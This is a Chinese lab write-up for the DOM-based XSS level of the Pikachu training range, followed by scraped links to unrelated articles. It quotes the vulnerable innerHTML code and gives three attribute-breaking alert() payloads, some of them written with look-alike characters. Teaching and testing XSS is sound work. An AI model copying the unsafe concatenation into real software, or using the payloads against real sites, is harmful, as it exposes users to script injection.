pikachu靶场通关笔记08 XSS关卡04-DOM型XSS

article/2025/8/28 3:07:12

目录

一、XSS原理

二、DOM型XSS

三、源码分析

1、进入靶场

2、XSS探测

3、源码分析

四、渗透实战

1、Payload1

2、Payload2

3、Payload3


本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到XSS风险的真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡 04-DOM 型XSS的渗透部分。

一、XSS原理

XSS(Cross - Site Scripting) 跨站脚本攻击是一种常见的Web安全风险,因其高危害性位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。

类型原理数据交互危害
反射型 XSS攻击者诱使用户点击含恶意脚本的链接,服务器将脚本反射回浏览器执行URL 参数传入恶意脚本,服务器原样返回泄露用户敏感信息,如登录凭证、个人资料等;篡改页面内容,误导用户操作
存储型 XSS恶意脚本被存储在服务器端,用户访问相关页面时执行恶意脚本提交到服务器并存储,用户访问页面时服务器返回含脚本内容影响范围广,所有访问该页面的用户都会受到攻击;可进行大规模的信息窃取、会话劫持
DOM 型 XSS攻击者通过构造恶意输入,利用页面 JS 修改 DOM 结构注入脚本,不涉及服务器处理在页面表单输入恶意脚本,页面 JS 处理输入时触发破坏页面的正常显示和功能;可能导致用户在不知情的情况下执行危险操作

二、DOM型XSS

DOM 型 XSS(Document Object Model Cross-Site Scripting)是一种基于浏览器文档对象模型(DOM)的跨站脚本攻击类型。与反射型和存储型 XSS 不同,DOM 型 XSS 攻击不依赖服务器端响应数据,而是利用网页中 JavaScript 对 DOM 的不当操作来实现。
攻击者通过精心构造 URL 或诱导用户输入恶意数据,使得网页中的 JavaScript 代码在处理数据并修改 DOM 结构时,将恶意脚本作为合法内容插入到页面中。当浏览器解析并执行这些恶意脚本时,就会触发攻击,如窃取用户 Cookie、劫持会话等。由于攻击发生在客户端浏览器,且不涉及服务器数据存储和直接响应,其检测和防御相对复杂,需要开发者对前端代码中的 DOM 操作进行严格的安全审查和输入验证 。

分类DOM型XSS
存储位置不经过服务器,恶意代码存在于URL片段(#后)或前端输入
触发方式前端JavaScript动态操作DOM时执行
攻击场景单页应用(SPA)、动态网页、依赖前端路由的Web应用
危害范围执行恶意脚本的用户
攻击特点绕过服务端检测(WAF无效),纯前端风险
防御措施安全的DOM操作(如textContent替代innerHTML)、前端输入验证、CSP策略
修复难度中(需全面检查前端代码)

三、源码分析

1、进入靶场

进入pikachu靶场XSS系列关系的04关-DOM型XSS页面,打开后发现是一个留言板,如下所示。

http://127.0.0.1/pikachu/vul/xss/xss_dom.php

2、XSS探测

输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。

​​​​​​​'"<>?&ljn20241019

测试 发现输入和输出有区别,

3、源码分析

查看DOM型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字what,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出

这段代码存在DOM型 XSS风险,具体的源码经过详细注释后如下所示。

<div id="xssd_main"><script>function domxss(){// 获取用户输入(未经过滤)var str = document.getElementById("text").value;// 直接拼接用户输入到HTML中(高危操作)document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}// 攻击者可尝试的Payload示例:// 1. '><img src="#" onmouseover="alert('xss')">  → 闭合标签并插入恶意图片// 2. ' onclick="alert('xss')">                → 闭合标签并添加点击事件</script><!-- 用户输入框 --><input id="text" name="text" type="text" value="" /><!-- 触发DOM操作的按钮 --><input id="button" type="button" value="click me!" onclick="domxss()" /><!-- 动态内容插入区域(XSS触发点) --><div id="dom"></div>
</div>

分析可知本关卡通过 getElementById 获取到了标签 Id 为 text的内容赋值给str.然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中。产生XSS风险的关键代码如下所示。

function domxss(){var str = document.getElementById("text").value; // 获取用户输入document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; // 直接拼接HTML
}

XSS的根源在于不可信数据未经验证直接插入DOM,这个处理逻辑如下所示。

1)我们通过 <input id=“text” name=“text” type=“text” value="" / > 将字符串赋值给text然后JavaScript 
var str = document.getElementById(“text”).value; 获取到了text的值
2)然后document.getElementById(“dom”).innerHTML = “< a href=’”+str+"’>what do you see?< /a > ";
把这个text字符串整合到a这个标签中的href里再把a标签写入到dom这个标签中。
3)最后< div id=“dom” >< /div > 执行这个dom标签

XSS原理如下所示。

XSS类型DOM型XSS
触发条件用户输入直接拼接到innerHTML,未经过滤或编码
攻击方式通过闭合标签(如'>)注入恶意HTML/JS代码
危害窃取Cookie、钓鱼攻击、页面篡改

XSS成因与示例如下所示。

问题环节具体风险攻击示例
未过滤用户输入用户控制的str直接拼接到innerHTML输入'><img src="#" onmouseover="alert('xss')">
危险API使用innerHTML会解析HTML/JS代码(非安全文本插入)输入' onclick="alert('xss')"> 闭合标签并注入事件
缺乏输出编码未对用户输入的" ' < >等字符转义输入javascript:alert(1) 可构造恶意链

    四、渗透实战

    <a href='"+str+"'>what do you see?</a>

    1、Payload1

    payload1: #' οnclick=alert("ljn")>

    #' onclick=alert("ljn")>

    闭合后:<a href='#' οnclick="alert("ljn")">'>what do you see?</a>

    点击click me后,下方生成链接,点击链接后,弹框ljn

    分析:右键元素-点击查看器-Ctrl+F搜索关键字what

    2、Payload2

    payload3: ' οnclick="alert('ljn')">

    ' onclick="alert('ljn')">

    闭合后:<a href οnclick="alert('ljn')"> >'what do you see?</a>

    3、Payload3

    payload2: '><img src="#" οnmοuseοver="alert('ljn')">

     '><img src="#" onmouseover="alert('ljn')">

    闭合后:<a href><img src="#" οnmοuseοver="alert('haha')">'>what do you see?</a>


    http://www.hkcw.cn/article/HlkxmvUjPn.shtml

    相关文章

    Python打卡第39天

    浙大疏锦行 作业&#xff1a; """ DAY 39 图像数据与显存 本节主要介绍深度学习中的图像数据处理和显存管理。 """import torch import torch.nn as nn import torch.nn.functional as F import torchvision import torchvision.transforms as…

    SQLite 中文写入失败问题总结

    SQLite 中文写入失败问题总结与解决方案 在 Windows 下使用 C 操作 SQLite 数据库时&#xff0c;中文字段经常出现 写入成功但内容显示为 BLOB 或 乱码 的问题。根本原因在于 SQLite 要求字符串以 UTF-8 编码 存储&#xff0c;而默认的 std::string 中文通常是 GB2312/ANSI 编…

    63、【OS】【Nuttx】任务休眠与唤醒:sleep

    背景 之前的 blog 分析了 Nuttx 编码规范 62、【OS】【Nuttx】编码规范解读&#xff08;十&#xff09; 接下来继续分析下 Nuttx OS 的一个核心功能&#xff0c;任务休眠与唤醒 任务休眠 先来看任务休眠&#xff0c;关键函数 sleep&#xff0c;sleep函数是 C 标准库中的一个…

    PostgreSQL学会如何建表

    开始使用PostgreSQL之前&#xff0c; 上一节我们说了怎样安装它。 PostgreSQL可能已经安装到你的电脑上了,安装后postgre服务默认在电脑开机时运行启动。 一.了解PostgreSQL的运行 PostgreSQL使用一种客户端/服务器&#xff08;C/S&#xff09;模型。 和其他典型的客户端/服务…

    Wirtinger Flow算法的matlab实现和python实现

    文章目录 1. 数学模型2. Wirtinger Flow 算法2.1. 光谱初始化方法2.2. Wirtinger梯度下降 3. 算法实现3.1. Matlab实现3.2. Python实现 参考文献 1. 数学模型 观测数学模型可由下面公式给出 y ∣ A x ∣ 2 y |Ax|^2 y∣Ax∣2 其中 x ∈ C n x\in\mathbb C^{n} x∈Cn&#x…

    QT+opecv如何更改图片的拍摄路径

    如何更改相机拍摄图片的路径 前言&#xff1a;基础夯实&#xff1a;效果展示&#xff1a;实现功能&#xff1a;遇到问题&#xff1a;未解决&#xff1a; 核心代码&#xff1a; 前言&#xff1a; 最近在项目开发中遇到需要让用户更改相机拍摄路径的问题&#xff0c;用户可自己选…

    常见的国密加密算法(M1/M2/M3/M4)

    国密加密算法 SM2(非对称加密算法) 类型&#xff1a;是非对称加密算法&#xff0c;基于椭圆曲线密码实现。特点&#xff1a;包括有数字签名算法、密钥交换协议&#xff0c;公钥加密算法等部分&#xff0c;其中256位的安全强度比RSA 2048位高&#xff0c;但运算速度更快。使用…

    Ubuntu系统下Docker部署Dify保姆级教程:实现内网穿透远程访问

    文章目录 前言1. Docker部署Dify2. 本地访问Dify3. Ubuntu安装Cpolar4. 配置公网地址5. 远程访问6. 固定Cpolar公网地址7. 固定地址访问 前言 各位开发者朋友&#xff0c;今天我们将开启一项创新实践——基于Ubuntu系统搭建Dify大语言模型开发平台&#xff0c;并通过Docker容器…

    MySQL高可用革命:Orchestrator实现零干预的故障转移与智能拓扑管理

    MySQL高可用革命&#xff1a;Orchestrator实现零干预的故障转移与智能拓扑管理 凌晨3点&#xff0c;某电商平台的数据库主节点突然宕机&#xff0c;而系统却在30秒内自动切换至备用节点&#xff0c;数百万用户的购物车数据完好无损——这一切的背后&#xff0c;正是Orchestrato…

    Github 2025-05-29 Go开源项目日报Top9

    根据Github Trendings的统计,今日(2025-05-29统计)共有9个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Go项目9Assembly项目1Ollama: 本地大型语言模型设置与运行 创建周期:248 天开发语言:Go协议类型:MIT LicenseStar数量:42421 个Fork数量:27…

    技能造血破冰中年人就业困局:粤荣职业培训学校与康安堂共筑康养人才直通车

    2025年5月28日&#xff0c;广州市白云区粤荣职业培训学校与康安堂(广州)健康产业有限责任公司在广州市白云区正式签署就业合作协议。在当前社会&#xff0c;中年人就业难问题日益凸显。他们面临着家庭和社会的双重压力&#xff0c;却因年龄、技能等因素在就业市场上处于劣势。粤…

    notion搭建个人知识管理库

    nullhttps://www.bilibili.com/video/BV1Ur4y1L77m/?spm_id_from333.337.search-card.all.click&vd_source5434ba52b45e69a8650762bf71d67608 一、视频教程:如何搭建个人管理数据库&#xff0c;包括目标管理、知识管理、任务管理等功能&#xff0c;以及如何创建表格和设置…

    EC800X QuecDuino开发板介绍

    支持的模组列表 EG800KEC800MEC800GEC800E 功能列表 基本概述 EC800X QuecDuino EVB 搭载移远 EC800 系列模组。支持模组型号为&#xff1a; EC800M 系列、EC800K 系列、EG800K 系列、EC800E 系列等。 渲染图 开发板的主要组件、接口布局见下图 资料下载 EC800X-QuecDui…

    CC攻击的种类与特点解析

    CC攻击&#xff08;Challenge Collapsar&#xff09;是一种针对Web应用层的分布式拒绝服务&#xff08;DDoS&#xff09;攻击&#xff0c;通过模拟合法用户请求耗尽服务器资源&#xff0c;导致服务不可用。以下是其核心种类及特点的详细分析&#xff1a; 一、CC攻击的种类 代理…

    Vite打包优化实践:从分包到性能提升

    前言: ​​​​​​​ 随着前端应用功能的增加&#xff0c;项目的打包体积也会不断膨胀&#xff0c;影响加载速度和用户体验。本文介绍了几种常见的打包优化策略&#xff0c;通过Vite和相关插件&#xff0c;帮助减少项目体积、提升性能&#xff0c;优化加载速度。 rollup-plugi…

    深度解析 9 大 UI 设计风格

    1. 扁平化设计 (Flat Design) 特点: 简洁明了: 移除了阴影、渐变、纹理等三维效果&#xff0c;强调二维平面元素。色彩鲜明: 常用大胆、明亮的色彩。极简主义: 专注于功能性&#xff0c;减少不必要的装饰。排版清晰: 强调大字体和清晰的文本。易于响应: 扁平化设计在不同屏幕尺…

    信号与系统速成-1.绪论

    b站浙大教授虽然讲的比较细&#xff0c;但是太慢了&#xff0c;不适合速成 祖师爷奥本海姆的MIT课程好像和我们教材的版本不太匹配&#xff0c;但是讲的很不错 慕课上也有很多资源&#xff0c;比如信号与系统 - 网易云课堂 同站博主篱笆外的xixi的文章也挺不错 最终我还是选…

    WPF prism

    Prism Prism.Dryloc 包 安装 Nuget 包 - Prism.DryIoc 1. 修改 App.xaml 修改 App.xaml 文件&#xff0c;添加 prism 命名空间, 继承由 Application → PrismApplication&#xff0c;删除默认启动 url, StartupUri“MainWindow.xaml” <dryioc:PrismApplicationx:Class…

    Shell 脚本

    注&#xff1a;文章参考《鸟哥的linux私房菜》、通义千问AI产品 认识 Shell Linux 中的 Shell 就是 linux 内核的一个外层保护工具&#xff0c;并负责完成用户与内核之间的交互。 Shell 可以分为以下几类&#xff1a; Bourne Shell &#xff08;简称 sh&#xff09;C Shell…

    Win11安装Dify

    1、打开Virtual Machine Platform功能 电脑系统为&#xff1a;Windows 11 家庭中文版24H2版本。 打开控制面板&#xff0c;点击“程序”&#xff0c;点击“启用或关闭Windows功能”。 下图标记的“Virtual Machine Platform”、“适用于 Linux 的 Windows 子系统”、“Windows…